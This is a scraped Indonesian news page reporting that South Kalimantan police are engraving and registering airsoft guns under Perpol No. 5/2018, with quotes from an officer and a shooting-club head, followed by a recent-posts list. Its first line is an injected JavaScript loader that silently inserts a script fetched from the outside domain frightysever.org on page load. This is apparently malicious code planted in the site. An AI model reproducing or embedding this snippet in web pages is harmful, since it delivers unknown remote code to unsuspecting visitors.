(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanal

Airsoft Gun Wajib Registrasi, Antisipasi Penyalahgunaan Senjata


BANJARMASIN, Kendati hanya replika dari senjata api dan dipergunakan untuk kegiatan olahraga airsoft gun, pengrafiran dan registrasi airsoft gun dilaksanakan sebagai implementasi dari Perpol Nomor 5 Tahun 2018.  Langkah ini merupakan tindak lanjut dari arahan Badan Intelkam Mabes Polri, yang dilakukan oleh Direktorat Intelkam Polda Kalsel, Sabtu (21/12) sore.

Pamin 1 Yanmin Dit Intelkam Polda Kalsel Ipda Abdullah Asnamu Ni’am membeberkan, tujuan pengrafiran dan pendataan sendiri yaitu untuk menghindari penyalahgunaan oleh oknum-oknum yang berada di bawah komunitas airsoft gun.

“Kami menindaklanjuti (arahan Baintelkam Polri) untuk melaksanakan pengrafiran dan registrasi terhadap airsoft gun yang beredar saat ini di klub-klub di Kalsel,” kata Ipda Abdullah.

Karena, berdasarkan Perpol Nomor 5 Tahun 2018, pengrafiran dan registrasi terakhir dilaksanakan di tahun 2019. “Di tahun 2020, pemilik dan penggunaan airsoft gun akan diterapkan sesuai dengan Perpol Nomor 5 tahun 2018,” tambahnya.

Baca: Komunitas Kalsel Speed Shooter, Asah Fisik dan Ketelitian dalam Menembak

Lalu, tujuannya apa? Menurut Ipda Abdullah, pada Perpol yang mengatur kepemilikan senjata, salah satunya airsoft gun, nantinya pemilik harus memiliki surat izin impor airsoft gun. Kemudian, harus mengikuti tes psikologi, tes menembak dan tes kesehatan. “(Pemilik airsoft gun) harus mengikuti tes psikologi, tes menembak dan tes kesehatan,” sebutnya. Sementara itu, Ketua Kalsel Speed Shooter Shooting Club Rahmatul Irfan menyabut baik pengrafiran dan registrasi yang dilaksanakan oleh Dit Intelkam Polda Kalsel. Klubnya sendiri, mematuhi aturan yang tertuang dalam Perpol Nomor 5 Tahun 2018, yang mana salah satunya adalah memiliki izin.

“Pada dasarnya kami menaati kewajiban kita, untuk meregistrasikan seluruh unit (airsoft gun) yang dimiliki oleh anggota. Agar ada payung hukumnya,” kata Irfan.

Tentunya, Irfan berharap, dengan adanya registrasi dapat memberikan rasa nyaman kepada pengguna airsoft gun. Apalagi, jika penggunanya ingin membawa airsoft gun dari rumah ke tempat latihan ataupun ke tempat pertandingan. “Harus ada dan jelas legalitasnya,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

13 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

13 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

13 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

17 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

20 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

20 jam ago

This website uses cookies.